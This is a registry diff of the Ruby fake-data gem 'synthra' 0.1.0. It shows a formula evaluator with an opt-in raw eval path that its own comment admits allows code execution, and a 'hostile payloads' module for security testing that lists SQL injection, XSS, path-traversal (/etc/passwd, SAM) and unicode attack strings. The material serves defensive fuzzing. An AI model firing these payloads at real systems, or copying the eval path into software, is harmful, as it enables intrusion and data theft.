synthra 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (302) hide show
  1. checksums.yaml +7 -0
  2. data/.rspec +4 -0
  3. data/.rubocop.yml +40 -0
  4. data/.yardopts +18 -0
  5. data/ACCESS_DOCS.md +116 -0
  6. data/ADVANCED_FEATURES_SUMMARY.md +245 -0
  7. data/CHANGELOG.md +498 -0
  8. data/CODE_OF_CONDUCT.md +122 -0
  9. data/CONTRIBUTING.md +307 -0
  10. data/DOCUMENTATION.md +204 -0
  11. data/DOCUMENTATION_GUIDE.md +194 -0
  12. data/LICENSE +22 -0
  13. data/README.md +1458 -0
  14. data/Rakefile +128 -0
  15. data/benchmark/README.md +591 -0
  16. data/benchmark/batch_generation.rb +63 -0
  17. data/benchmark/engine_comparison.rb +295 -0
  18. data/benchmark/single_record.rb +108 -0
  19. data/benchmark/streaming.rb +74 -0
  20. data/docs/ACTIVERECORD_INFERENCE.md +524 -0
  21. data/docs/API_SERVER.md +278 -0
  22. data/docs/CONFIG_FILE.md +315 -0
  23. data/docs/DATA_CONTRACTS.md +312 -0
  24. data/docs/ENHANCED_REPL.md +304 -0
  25. data/docs/FACTORY_BOT.md +271 -0
  26. data/docs/GITHUB_ACTION.md +420 -0
  27. data/docs/GRAPHQL_EXPORT.md +303 -0
  28. data/docs/GRAPHQL_FEDERATION.md +651 -0
  29. data/docs/HOW_TO_GENERATE_DOCS.md +252 -0
  30. data/docs/LSP.md +189 -0
  31. data/docs/MIGRATION_GENERATOR.md +547 -0
  32. data/docs/MOCK_SERVER.md +280 -0
  33. data/docs/NATIVE_ENGINE.md +298 -0
  34. data/docs/OPENAPI_EXPORT.md +252 -0
  35. data/docs/PERFORMANCE_MODE.md +228 -0
  36. data/docs/PERSONAS.md +547 -0
  37. data/docs/PROPERTY_TESTING.md +284 -0
  38. data/docs/PROTOBUF_EXPORT.md +276 -0
  39. data/docs/QUALITY_METRICS.md +555 -0
  40. data/docs/QUICK_REFERENCE.md +88 -0
  41. data/docs/RAILS_ENGINE.md +404 -0
  42. data/docs/RAILS_INTEGRATION.md +454 -0
  43. data/docs/README.md +175 -0
  44. data/docs/REPL_QUICK_REFERENCE.md +149 -0
  45. data/docs/RUST_INTEGRATION_GUIDE.md +1376 -0
  46. data/docs/SCENARIOS.md +576 -0
  47. data/docs/SECURITY_TESTING.md +318 -0
  48. data/docs/SNAPSHOT_TESTING.md +308 -0
  49. data/docs/STRING_TEXT_TYPES_REFERENCE.md +512 -0
  50. data/docs/TERRAFORM_EXPORT.md +447 -0
  51. data/docs/TIME_TRAVEL.md +507 -0
  52. data/docs/USAGE_GUIDE.md +980 -0
  53. data/docs/WEBHOOK_SIMULATOR.md +579 -0
  54. data/docs/advanced_features.md +183 -0
  55. data/docs/api_reference.md +153 -0
  56. data/docs/behaviors.md +138 -0
  57. data/docs/best_practices.md +191 -0
  58. data/docs/dsl_reference.md +172 -0
  59. data/docs/examples.md +162 -0
  60. data/docs/generation_modes.md +125 -0
  61. data/docs/getting_started.md +92 -0
  62. data/docs/index.html +177 -0
  63. data/docs/strategic/CLOUD_REGISTRY_ARCHITECTURE.md +268 -0
  64. data/docs/strategic/SIMD_OPTIMIZATION_STRATEGY.md +153 -0
  65. data/docs/troubleshooting.md +215 -0
  66. data/docs/type_reference.md +224 -0
  67. data/examples/hostile_mode_demo.rb +64 -0
  68. data/exe/synthra +6 -0
  69. data/ext/synthra_native/Cargo.lock +972 -0
  70. data/ext/synthra_native/Cargo.toml +46 -0
  71. data/ext/synthra_native/extconf.rb +41 -0
  72. data/ext/synthra_native/src/generator.rs +397 -0
  73. data/ext/synthra_native/src/lib.rs +229 -0
  74. data/ext/synthra_native/src/types.rs +1485 -0
  75. data/lib/generators/synthra/install_generator.rb +86 -0
  76. data/lib/generators/synthra/templates/api_response.dsl +15 -0
  77. data/lib/generators/synthra/templates/fake_data.rake +116 -0
  78. data/lib/generators/synthra/templates/synthra.yml +31 -0
  79. data/lib/generators/synthra/templates/synthra_support.rb +19 -0
  80. data/lib/generators/synthra/templates/user.dsl +11 -0
  81. data/lib/synthra/activerecord_inference.rb +394 -0
  82. data/lib/synthra/api.rb +381 -0
  83. data/lib/synthra/api_server.rb +718 -0
  84. data/lib/synthra/behaviors/applicator.rb +165 -0
  85. data/lib/synthra/behaviors/base.rb +155 -0
  86. data/lib/synthra/behaviors/close_connection.rb +60 -0
  87. data/lib/synthra/behaviors/deprecated.rb +100 -0
  88. data/lib/synthra/behaviors/failure.rb +69 -0
  89. data/lib/synthra/behaviors/latency.rb +103 -0
  90. data/lib/synthra/behaviors/partial_data.rb +83 -0
  91. data/lib/synthra/behaviors/randomize_order.rb +74 -0
  92. data/lib/synthra/behaviors/registry.rb +238 -0
  93. data/lib/synthra/behaviors/simulate_error.rb +79 -0
  94. data/lib/synthra/cli/commands/base.rb +105 -0
  95. data/lib/synthra/cli/commands/diff.rb +227 -0
  96. data/lib/synthra/cli/commands/docs.rb +67 -0
  97. data/lib/synthra/cli/commands/export.rb +150 -0
  98. data/lib/synthra/cli/commands/generate.rb +72 -0
  99. data/lib/synthra/cli/commands/import.rb +80 -0
  100. data/lib/synthra/cli/commands/lint.rb +53 -0
  101. data/lib/synthra/cli/commands/live.rb +57 -0
  102. data/lib/synthra/cli/commands/seed.rb +99 -0
  103. data/lib/synthra/cli/commands/validate.rb +28 -0
  104. data/lib/synthra/cli.rb +2471 -0
  105. data/lib/synthra/config_file.rb +129 -0
  106. data/lib/synthra/configuration.rb +281 -0
  107. data/lib/synthra/contracts_registry.rb +408 -0
  108. data/lib/synthra/database_seeder.rb +268 -0
  109. data/lib/synthra/deterministic_ids.rb +218 -0
  110. data/lib/synthra/documentation_generator.rb +414 -0
  111. data/lib/synthra/engine.rb +251 -0
  112. data/lib/synthra/errors.rb +1169 -0
  113. data/lib/synthra/export/base.rb +85 -0
  114. data/lib/synthra/export/csv.rb +101 -0
  115. data/lib/synthra/export/graphql.rb +266 -0
  116. data/lib/synthra/export/graphql_federation.rb +377 -0
  117. data/lib/synthra/export/graphviz.rb +258 -0
  118. data/lib/synthra/export/javascript.rb +327 -0
  119. data/lib/synthra/export/json_data.rb +61 -0
  120. data/lib/synthra/export/json_schema.rb +290 -0
  121. data/lib/synthra/export/openapi.rb +514 -0
  122. data/lib/synthra/export/protobuf.rb +483 -0
  123. data/lib/synthra/export/python.rb +560 -0
  124. data/lib/synthra/export/sql.rb +381 -0
  125. data/lib/synthra/export/sql_insert.rb +152 -0
  126. data/lib/synthra/export/terraform.rb +501 -0
  127. data/lib/synthra/export/type_mapping.rb +389 -0
  128. data/lib/synthra/export/typescript.rb +300 -0
  129. data/lib/synthra/export/xml_data.rb +104 -0
  130. data/lib/synthra/export/yaml_data.rb +56 -0
  131. data/lib/synthra/export.rb +404 -0
  132. data/lib/synthra/factory_bot_integration.rb +157 -0
  133. data/lib/synthra/field.rb +440 -0
  134. data/lib/synthra/functions/registry.rb +104 -0
  135. data/lib/synthra/generator/context.rb +372 -0
  136. data/lib/synthra/generator/engine.rb +336 -0
  137. data/lib/synthra/generator/faker_adapter.rb +425 -0
  138. data/lib/synthra/generator/modes.rb +444 -0
  139. data/lib/synthra/generator/resolver.rb +256 -0
  140. data/lib/synthra/generator/rng.rb +273 -0
  141. data/lib/synthra/generator/streamer.rb +63 -0
  142. data/lib/synthra/generator/uniqueness.rb +118 -0
  143. data/lib/synthra/initializer.rb +97 -0
  144. data/lib/synthra/limits.rb +279 -0
  145. data/lib/synthra/live_preview.rb +518 -0
  146. data/lib/synthra/loader_config.rb +78 -0
  147. data/lib/synthra/lsp/server.rb +689 -0
  148. data/lib/synthra/migration_generator.rb +301 -0
  149. data/lib/synthra/mixin.rb +174 -0
  150. data/lib/synthra/mock_server.rb +458 -0
  151. data/lib/synthra/native_engine.rb +304 -0
  152. data/lib/synthra/openapi_importer.rb +228 -0
  153. data/lib/synthra/output/json_formatter.rb +40 -0
  154. data/lib/synthra/output/ndjson_formatter.rb +55 -0
  155. data/lib/synthra/parser/ast.rb +1287 -0
  156. data/lib/synthra/parser/lexer.rb +1152 -0
  157. data/lib/synthra/parser/parser.rb +1664 -0
  158. data/lib/synthra/parser/tokens.rb +461 -0
  159. data/lib/synthra/performance_mode.rb +364 -0
  160. data/lib/synthra/personas.rb +397 -0
  161. data/lib/synthra/property_testing.rb +172 -0
  162. data/lib/synthra/quality_metrics.rb +405 -0
  163. data/lib/synthra/rails_test_helper.rb +248 -0
  164. data/lib/synthra/registry.rb +533 -0
  165. data/lib/synthra/relationships.rb +193 -0
  166. data/lib/synthra/repl/enhanced_repl.rb +607 -0
  167. data/lib/synthra/repl/formatter.rb +191 -0
  168. data/lib/synthra/scenarios.rb +423 -0
  169. data/lib/synthra/schema.rb +605 -0
  170. data/lib/synthra/schema_inheritance.rb +104 -0
  171. data/lib/synthra/schema_versioning.rb +212 -0
  172. data/lib/synthra/snapshot_testing.rb +199 -0
  173. data/lib/synthra/time_travel.rb +338 -0
  174. data/lib/synthra/type_definitions.rb +274 -0
  175. data/lib/synthra/types/address_location/addresses.rb +125 -0
  176. data/lib/synthra/types/address_location/airports.rb +200 -0
  177. data/lib/synthra/types/address_location/banks_hospitals.rb +207 -0
  178. data/lib/synthra/types/address_location/locations.rb +406 -0
  179. data/lib/synthra/types/base.rb +48 -0
  180. data/lib/synthra/types/commerce_products/commerce.rb +119 -0
  181. data/lib/synthra/types/commerce_products/companies.rb +71 -0
  182. data/lib/synthra/types/commerce_products/construction.rb +126 -0
  183. data/lib/synthra/types/commerce_products/products.rb +205 -0
  184. data/lib/synthra/types/core/collections.rb +513 -0
  185. data/lib/synthra/types/core/defaults.rb +76 -0
  186. data/lib/synthra/types/core/enums.rb +102 -0
  187. data/lib/synthra/types/core/identifiers.rb +445 -0
  188. data/lib/synthra/types/core/primitives.rb +586 -0
  189. data/lib/synthra/types/core/references.rb +466 -0
  190. data/lib/synthra/types/core/sequences.rb +304 -0
  191. data/lib/synthra/types/crypto/crypto.rb +162 -0
  192. data/lib/synthra/types/date_time/dates.rb +387 -0
  193. data/lib/synthra/types/finance_banking/banking.rb +424 -0
  194. data/lib/synthra/types/finance_banking/credit_cards.rb +24 -0
  195. data/lib/synthra/types/finance_banking/identifiers.rb +93 -0
  196. data/lib/synthra/types/formula.rb +184 -0
  197. data/lib/synthra/types/health_medical/medical.rb +150 -0
  198. data/lib/synthra/types/hostile_payloads.rb +122 -0
  199. data/lib/synthra/types/json_array.rb +51 -0
  200. data/lib/synthra/types/media_entertainment/media.rb +62 -0
  201. data/lib/synthra/types/naughty_string.rb +30 -0
  202. data/lib/synthra/types/personal_names/chinese.rb +41 -0
  203. data/lib/synthra/types/personal_names/identifiers.rb +187 -0
  204. data/lib/synthra/types/personal_names/names.rb +246 -0
  205. data/lib/synthra/types/personal_names/national_id.rb +89 -0
  206. data/lib/synthra/types/personal_names/titles_suffixes.rb +41 -0
  207. data/lib/synthra/types/regex.rb +248 -0
  208. data/lib/synthra/types/registry.rb +182 -0
  209. data/lib/synthra/types/repeating_element.rb +50 -0
  210. data/lib/synthra/types/scenario.rb +29 -0
  211. data/lib/synthra/types/technology_internet/apps.rb +67 -0
  212. data/lib/synthra/types/technology_internet/communication.rb +162 -0
  213. data/lib/synthra/types/technology_internet/devices.rb +80 -0
  214. data/lib/synthra/types/technology_internet/formats.rb +139 -0
  215. data/lib/synthra/types/technology_internet/networking.rb +143 -0
  216. data/lib/synthra/types/template.rb +92 -0
  217. data/lib/synthra/types/text_content/business.rb +128 -0
  218. data/lib/synthra/types/text_content/colors.rb +70 -0
  219. data/lib/synthra/types/text_content/misc.rb +237 -0
  220. data/lib/synthra/types/text_content/security.rb +130 -0
  221. data/lib/synthra/types/text_content/text_generation.rb +532 -0
  222. data/lib/synthra/types/travel/travel.rb +150 -0
  223. data/lib/synthra/utils/string_distance.rb +133 -0
  224. data/lib/synthra/validator/dsl_validator.rb +339 -0
  225. data/lib/synthra/validator/path_validator.rb +615 -0
  226. data/lib/synthra/version.rb +35 -0
  227. data/lib/synthra/webhook_simulator.rb +341 -0
  228. data/lib/synthra.rb +259 -0
  229. data/schemas/address.dsl +16 -0
  230. data/schemas/api_response.dsl +8 -0
  231. data/schemas/error_payload.dsl +9 -0
  232. data/schemas/order.dsl +10 -0
  233. data/schemas/order_item.dsl +8 -0
  234. data/schemas/payment.dsl +11 -0
  235. data/schemas/social_post.dsl +13 -0
  236. data/schemas/user.dsl +10 -0
  237. data/scripts/batch_fix_all.rb +96 -0
  238. data/scripts/delete_old_files.rb +32 -0
  239. data/scripts/fix_all_grouped_files.rb +137 -0
  240. data/scripts/fix_all_indentation.rb +48 -0
  241. data/scripts/fix_all_syntax.rb +124 -0
  242. data/scripts/fix_grouped_files.rb +184 -0
  243. data/scripts/fix_syntax_errors.rb +108 -0
  244. data/scripts/group_domain_types.rb +112 -0
  245. data/scripts/group_domain_types_fixed.rb +150 -0
  246. data/scripts/merge_domains_to_one_file.rb +68 -0
  247. data/scripts/move_existing_types.rb +130 -0
  248. data/scripts/split_grouped_types.rb +142 -0
  249. data/tech_docs/README.md +134 -0
  250. data/tech_docs/advanced/streaming.md +405 -0
  251. data/tech_docs/advanced/thread_safety.md +253 -0
  252. data/tech_docs/api/overview.md +485 -0
  253. data/tech_docs/appendices/type_chart.md +193 -0
  254. data/tech_docs/basic_concepts.md +383 -0
  255. data/tech_docs/behaviors/overview.md +346 -0
  256. data/tech_docs/dsl/complex_types.md +790 -0
  257. data/tech_docs/dsl/core_types.md +464 -0
  258. data/tech_docs/dsl/datetime_types.md +325 -0
  259. data/tech_docs/dsl/field_modifiers.md +414 -0
  260. data/tech_docs/dsl/grammar.md +431 -0
  261. data/tech_docs/dsl/schema_definition.md +399 -0
  262. data/tech_docs/export/README.md +276 -0
  263. data/tech_docs/installation.md +273 -0
  264. data/tech_docs/integration/ci_cd.md +707 -0
  265. data/tech_docs/integration/ci_cd_guide.md +579 -0
  266. data/tech_docs/integration/factory_bot.md +485 -0
  267. data/tech_docs/integration/rails.md +630 -0
  268. data/tech_docs/integration/rspec.md +449 -0
  269. data/tech_docs/modes/overview.md +350 -0
  270. data/tech_docs/performance/NATIVE_RUST_EXTENSION.md +1270 -0
  271. data/tech_docs/performance/OPTIMIZATION_GUIDE.md +901 -0
  272. data/tech_docs/quick_start.md +256 -0
  273. data/tech_docs/templates/README.md +805 -0
  274. data/tech_docs/tutorials/advanced.md +371 -0
  275. data/tech_docs/tutorials/getting_started.md +189 -0
  276. data/tech_docs/tutorials/intermediate.md +231 -0
  277. data/tech_docs/tutorials/template_gallery.md +569 -0
  278. data/tech_example/01_basic_usage.rb +238 -0
  279. data/tech_example/02_types_demo.rb +336 -0
  280. data/tech_example/04_cli_usage.md +429 -0
  281. data/tech_example/05_database_seeding.rb +283 -0
  282. data/tech_example/07_rspec_integration.rb +359 -0
  283. data/tech_example/10_custom_types.rb +387 -0
  284. data/tech_example/12_behaviors.rb +372 -0
  285. data/tech_example/13_twitter_dm_example.rb +120 -0
  286. data/tech_example/14_exact_json_structure.rb +253 -0
  287. data/tech_example/16_lsp_server.rb +56 -0
  288. data/tech_example/17_property_testing.rb +92 -0
  289. data/tech_example/18_enhanced_repl.rb +120 -0
  290. data/tech_example/19_security_fuzzing.rb +145 -0
  291. data/tech_example/NEW_FEATURES.md +169 -0
  292. data/tech_example/README.md +118 -0
  293. data/tech_example/schemas/api_response.dsl +123 -0
  294. data/tech_example/schemas/ecommerce.dsl +121 -0
  295. data/tech_example/schemas/twitter_dm.dsl +109 -0
  296. data/tech_example/schemas/user.dsl +36 -0
  297. data/vscode-extension/README.md +246 -0
  298. data/vscode-extension/language-configuration.json +31 -0
  299. data/vscode-extension/package.json +55 -0
  300. data/vscode-extension/snippets/fakedatadsl.json +198 -0
  301. data/vscode-extension/syntaxes/fakedatadsl.tmLanguage.json +128 -0
  302. metadata +478 -0
@@ -0,0 +1,184 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Synthra
4
+ module Types
5
+ # Formula type generator — computes a value from sibling numeric fields.
6
+ class Formula < Base
7
+ def generate_random(rng, context, args)
8
+ expression = args[:expression] || args[:expr] || "0"
9
+ return 0 if expression.to_s.empty?
10
+
11
+ # Substitute sibling numeric fields, then evaluate the expression.
12
+ result = replace_field_references(expression, context)
13
+
14
+ if Synthra.configuration.allow_eval
15
+ # Opt-in raw Ruby eval — RCE with tenant input, so for fully-trusted schemas only.
16
+ eval(result) # rubocop:disable Security/Eval -- gated behind allow_eval (trusted-schema opt-in)
17
+ else
18
+ # Default: sandboxed arithmetic (no eval, no RCE). Anything that isn't pure
19
+ # arithmetic over numbers / the whitelisted math functions evaluates to 0.
20
+ value = SafeArithmetic.eval(result)
21
+ value.nil? ? 0 : value
22
+ end
23
+
24
+ rescue StandardError
25
+ 0
26
+ end
27
+
28
+ def generate_edge(rng, context, args)
29
+ rng.sample([0, 1, -1, 999999])
30
+ end
31
+
32
+ def generate_invalid(rng, context, args)
33
+ rng.sample([nil, "not-a-number", [], {}])
34
+ end
35
+
36
+ private
37
+
38
+ def replace_field_references(expr, context)
39
+ return expr unless context
40
+ return expr unless context.respond_to?(:each)
41
+
42
+ result = expr.dup
43
+ context.each do |key, value|
44
+ result.gsub!(/\b#{key}\b/, value.to_s) if value.is_a?(Numeric)
45
+ end
46
+ result
47
+ end
48
+
49
+ # Sandboxed arithmetic evaluator: numbers, `+ - * / % **`, parentheses, and the
50
+ # whitelisted math functions below. No `eval`, so it is safe for tenant-supplied
51
+ # expressions (the RCE foot-gun is removed). Returns nil for anything outside this
52
+ # grammar — the caller treats nil as 0. Recursive-descent; state is per-instance so
53
+ # it is safe to reuse the type across generations.
54
+ class SafeArithmetic
55
+ FUNCTIONS = {
56
+ "min" => ->(a) { a.min },
57
+ "max" => ->(a) { a.max },
58
+ "abs" => ->(a) { a.first.abs },
59
+ "sqrt" => ->(a) { Math.sqrt(a.first) },
60
+ "floor" => ->(a) { a.first.floor },
61
+ "ceil" => ->(a) { a.first.ceil },
62
+ "round" => ->(a) { a.length > 1 ? a[0].round(a[1].to_i) : a[0].round },
63
+ "pow" => ->(a) { a[0]**a[1] }
64
+ }.freeze
65
+
66
+ def self.eval(expression)
67
+ new(expression).result
68
+ rescue StandardError
69
+ nil
70
+ end
71
+
72
+ def initialize(expression)
73
+ @tokens = tokenize(expression)
74
+ @pos = 0
75
+ end
76
+
77
+ def result
78
+ return nil if @tokens.empty?
79
+
80
+ value = parse_add
81
+ @pos == @tokens.length ? value : nil
82
+ end
83
+
84
+ private
85
+
86
+ # Tokenize and reject (return []) if any character isn't part of the grammar —
87
+ # e.g. quotes, method calls, or leftover identifiers from a non-arithmetic field.
88
+ def tokenize(expression)
89
+ tokens = expression.to_s.scan(%r{\d+\.\d+|\d+|[A-Za-z_]\w*|\*\*|[-+*/%(),]})
90
+ tokens.join == expression.to_s.gsub(/\s+/, "") ? tokens : []
91
+ end
92
+
93
+ def peek
94
+ @tokens[@pos]
95
+ end
96
+
97
+ def take
98
+ tok = @tokens[@pos]
99
+ @pos += 1
100
+ tok
101
+ end
102
+
103
+ def parse_add
104
+ value = parse_mul
105
+ while ["+", "-"].include?(peek)
106
+ value = take == "+" ? value + parse_mul : value - parse_mul
107
+ end
108
+ value
109
+ end
110
+
111
+ def parse_mul
112
+ value = parse_pow
113
+ while ["*", "/", "%"].include?(peek)
114
+ op = take
115
+ rhs = parse_pow
116
+ value = apply_mul(op, value, rhs)
117
+ end
118
+ value
119
+ end
120
+
121
+ def apply_mul(op, lhs, rhs)
122
+ case op
123
+ when "*" then lhs * rhs
124
+ when "/" then lhs.to_f / rhs
125
+ else lhs % rhs
126
+ end
127
+ end
128
+
129
+ def parse_pow
130
+ base = parse_unary
131
+ return base unless peek == "**"
132
+
133
+ take
134
+ base**parse_pow # right-associative
135
+ end
136
+
137
+ def parse_unary
138
+ return parse_primary unless peek == "-"
139
+
140
+ take
141
+ -parse_unary
142
+ end
143
+
144
+ def parse_primary
145
+ tok = peek
146
+ raise "unexpected end" if tok.nil?
147
+
148
+ if tok == "("
149
+ parse_group
150
+ elsif tok.match?(/\A\d/)
151
+ take
152
+ tok.include?(".") ? tok.to_f : tok.to_i
153
+ elsif tok.match?(/\A[A-Za-z_]/)
154
+ parse_function(tok)
155
+ else
156
+ raise "unexpected token #{tok}"
157
+ end
158
+ end
159
+
160
+ def parse_group
161
+ take # "("
162
+ value = parse_add
163
+ raise "missing )" unless take == ")"
164
+
165
+ value
166
+ end
167
+
168
+ def parse_function(name)
169
+ fn = FUNCTIONS[name]
170
+ raise "unknown function #{name}" unless fn
171
+
172
+ take # name
173
+ raise "expected (" unless take == "("
174
+
175
+ args = [parse_add]
176
+ args << parse_add while peek == "," && take
177
+ raise "expected )" unless take == ")"
178
+
179
+ fn.call(args)
180
+ end
181
+ end
182
+ end
183
+ end
184
+ end
@@ -0,0 +1,150 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Synthra
4
+ module Types
5
+ module HealthMedical
6
+ # BloodType type
7
+ class BloodType < Base
8
+ # Available blood type identifiers
9
+ #
10
+ # Standard ABO blood group system with Rh factor.
11
+ #
12
+ # @return [Array<String>] list of blood type strings
13
+ #
14
+ BLOOD_TYPES = ["A+", "A-", "B+", "B-", "AB+", "AB-", "O+", "O-"].freeze
15
+
16
+ # Generate random blood type
17
+ #
18
+ # @param rng [Generator::RNG] random number generator
19
+ # @param context [Generator::Context] generation context
20
+ # @param args [Hash] type arguments (not used)
21
+ # @return [String] generated blood type
22
+ #
23
+ def generate_random(rng, context, args)
24
+ # Try Faker first
25
+ adapter = faker_adapter(context)
26
+ if adapter
27
+ adapter.blood_type
28
+
29
+ else
30
+ Faker::Blood.type
31
+ end
32
+
33
+ rescue StandardError
34
+ rng.sample(BLOOD_TYPES)
35
+ end
36
+
37
+
38
+ def generate_edge(rng, context, args)
39
+ ["", "O+", "AB-"].sample(random: rng.instance_variable_get(:@random))
40
+ end
41
+
42
+ def generate_invalid(rng, context, args)
43
+ [nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
44
+ end
45
+ end
46
+
47
+ # Bmi type
48
+ class Bmi < Base
49
+ # Generate random BMI
50
+ #
51
+ # @param rng [Generator::RNG] random number generator
52
+ # @param context [Generator::Context] generation context
53
+ # @param args [Hash] type arguments
54
+ # @option args [Range] :range BMI range (default: 15.0..40.0)
55
+ # @option args [Float] :min minimum BMI (default: 15.0)
56
+ # @option args [Float] :max maximum BMI (default: 40.0)
57
+ # @return [Float] generated BMI value
58
+ #
59
+ def generate_random(rng, context, args)
60
+ if args[:range].is_a?(Range)
61
+ min = args[:range].min
62
+ max = args[:range].max
63
+ else
64
+ min = args[:min] || 15.0
65
+ max = args[:max] || 40.0
66
+ end
67
+ value = rng.rand * (max - min) + min
68
+ value.round(1)
69
+ end
70
+
71
+ def generate_edge(rng, context, args)
72
+ [15.0, 40.0, 18.5, 25.0].sample(random: rng.instance_variable_get(:@random))
73
+ end
74
+
75
+ def generate_invalid(rng, context, args)
76
+ [nil, "not a number", -1.0, 50.0, [], {}].sample(random: rng.instance_variable_get(:@random))
77
+ end
78
+ end
79
+
80
+ # HeartRate type
81
+ class HeartRate < Base
82
+ # Generate random heart rate
83
+ #
84
+ # @param rng [Generator::RNG] random number generator
85
+ # @param context [Generator::Context] generation context
86
+ # @param args [Hash] type arguments
87
+ # @option args [Range] :range heart rate range (default: 60..100)
88
+ # @option args [Integer] :min minimum BPM (default: 60)
89
+ # @option args [Integer] :max maximum BPM (default: 100)
90
+ # @return [Integer] generated heart rate
91
+ #
92
+ def generate_random(rng, context, args)
93
+ if args[:range].is_a?(Range)
94
+ min = args[:range].min
95
+ max = args[:range].max
96
+ else
97
+ min = args[:min] || 60
98
+ max = args[:max] || 100
99
+ end
100
+ rng.int(min, max)
101
+ end
102
+
103
+ def generate_edge(rng, context, args)
104
+ [60, 100, 120, 40].sample(random: rng.instance_variable_get(:@random))
105
+ end
106
+
107
+ def generate_invalid(rng, context, args)
108
+ [nil, "not a number", -1, 300, [], {}].sample(random: rng.instance_variable_get(:@random))
109
+ end
110
+ end
111
+
112
+ # MedicalCode type
113
+ class MedicalCode < Base
114
+ # Generate random medical code
115
+ #
116
+ # @param rng [Generator::RNG] random number generator
117
+ # @param context [Generator::Context] generation context
118
+ # @param args [Hash] type arguments
119
+ # @option args [Symbol] :type code type (:icd10, :cpt, :hcpcs)
120
+ # @return [String] generated medical code
121
+ #
122
+ def generate_random(rng, context, args)
123
+ type = (args[:type] || :icd10).to_sym
124
+
125
+ case type
126
+ when :cpt
127
+ # CPT codes: 5 digits
128
+ format("%05d", rng.int(10000, 99999))
129
+ when :hcpcs
130
+ # HCPCS codes: 1 letter + 4 digits
131
+ letter = rng.sample(("A".."Z").to_a)
132
+ format("%s%04d", letter, rng.int(0, 9999))
133
+ else # :icd10
134
+ # ICD-10 codes: Letter + 2 digits + . + digit
135
+ letter = rng.sample(("A".."Z").to_a)
136
+ format("%s%02d.%d", letter, rng.int(0, 99), rng.int(0, 9))
137
+ end
138
+ end
139
+
140
+ def generate_edge(rng, context, args)
141
+ ["A00.0", "Z99.9", "10000", "A0000"].sample(random: rng.instance_variable_get(:@random))
142
+ end
143
+
144
+ def generate_invalid(rng, context, args)
145
+ [nil, "not a code", "invalid", [], {}].sample(random: rng.instance_variable_get(:@random))
146
+ end
147
+ end
148
+ end
149
+ end
150
+ end
@@ -0,0 +1,122 @@
1
+ # frozen_string_literal: true
2
+
3
+ # =============================================================================
4
+ # Synthra Hostile Payloads
5
+ # =============================================================================
6
+ #
7
+ # Security attack payloads for :hostile generation mode.
8
+ # Used for security testing of API endpoints consuming generated data.
9
+ #
10
+ # =============================================================================
11
+
12
+ module Synthra
13
+ module HostilePayloads
14
+ # SQL Injection payloads
15
+ SQL_INJECTION = [
16
+ "' OR '1'='1",
17
+ "'; DROP TABLE users;--",
18
+ "' UNION SELECT * FROM users--",
19
+ "1' OR '1'='1",
20
+ "admin'--",
21
+ "' OR 1=1;--",
22
+ "1' AND '1'='1",
23
+ "' OR 'x'='x",
24
+ "') OR ('1'='1--",
25
+ "1' OR '1'='1' /*",
26
+ "'; EXEC xp_cmdshell('dir');--",
27
+ "' OR 1=1 LIMIT 1 -- '",
28
+ "' OR 1=1 UNION SELECT NULL, username, password FROM users--",
29
+ "admin' OR '1'='1' /*",
30
+ "' UNION SELECT NULL--",
31
+ "1' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--"
32
+ ].freeze
33
+
34
+ # XSS (Cross-Site Scripting) payloads
35
+ XSS = [
36
+ "<script>alert(1)</script>",
37
+ "<img src=x onerror=alert(1)>",
38
+ "<svg onload=alert(1)>",
39
+ "javascript:alert(1)",
40
+ "<body onload=alert(1)>",
41
+ "<iframe src=javascript:alert(1)>",
42
+ "<input onfocus=alert(1) autofocus>",
43
+ "<select onfocus=alert(1) autofocus>",
44
+ "<textarea onfocus=alert(1) autofocus>",
45
+ "<keygen onfocus=alert(1) autofocus>",
46
+ "<video><source onerror=alert(1)>",
47
+ "<audio src=x onerror=alert(1)>",
48
+ "<details open ontoggle=alert(1)>",
49
+ "<marquee onstart=alert(1)>",
50
+ "<math><mi//xlink:href=\"data:x,<script>alert(1)</script>\">"
51
+ ].freeze
52
+
53
+ # Buffer overflow payloads
54
+ BUFFER_OVERFLOW = [
55
+ "A" * 1000,
56
+ "A" * 10000,
57
+ "A" * 100000,
58
+ "\x00" * 1000,
59
+ "\xFF" * 1000,
60
+ "A" * 65536, # 64KB
61
+ "\x00" * 65536
62
+ ].freeze
63
+
64
+ # Unicode attack vectors
65
+ UNICODE_ATTACKS = [
66
+ "\u202E" + "evil" + "\u202D", # RTL override
67
+ "\uFEFF" + "text", # BOM
68
+ "\u200B" * 100, # Zero-width spaces
69
+ "\u2060" * 100, # Word joiner
70
+ "Zalgo: H\u0301\u0302\u0303\u0304\u0305\u0306\u0307\u0308\u0309\u030A\u030B\u030C\u030D\u030E\u030F\u0310\u0311\u0312\u0313\u0314\u0315\u0316\u0317\u0318\u0319\u031A\u031B\u031C\u031D\u031E\u031F\u0320\u0321\u0322\u0323\u0324\u0325\u0326\u0327\u0328\u0329\u032A\u032B\u032C\u032D\u032E\u032F\u0330\u0331\u0332\u0333\u0334\u0335\u0336\u0337\u0338\u0339\u033A\u033B\u033C\u033D\u033E\u033F\u0340\u0341\u0342\u0343\u0344\u0345\u0346\u0347\u0348\u0349\u034A\u034B\u034C\u034D\u034E\u034F\u0350\u0351\u0352\u0353\u0354\u0355\u0356\u0357\u0358\u0359\u035A\u035B\u035C\u035D\u035E\u035F\u0360\u0361\u0362\u0363\u0364\u0365\u0366\u0367\u0368\u0369\u036A\u036B\u036C\u036D\u036E\u036F",
71
+ "\x00", # Null byte
72
+ "\xFF\xFE", # Invalid UTF-16 (BOM)
73
+ "\xFF\xFF", # Invalid UTF-16
74
+ [0xD800, 0xDC00].pack("U*"), # Surrogate pair
75
+ "\uE000", # Private use
76
+ "\uF8FF" # Private use
77
+ ].freeze
78
+
79
+ # Path traversal payloads
80
+ PATH_TRAVERSAL = [
81
+ "../../../etc/passwd",
82
+ "..\\..\\..\\windows\\system32\\config\\sam",
83
+ "....//....//....//etc/passwd",
84
+ "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
85
+ "..%2F..%2F..%2Fetc%2Fpasswd",
86
+ "..%252F..%252F..%252Fetc%252Fpasswd",
87
+ "..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
88
+ ].freeze
89
+
90
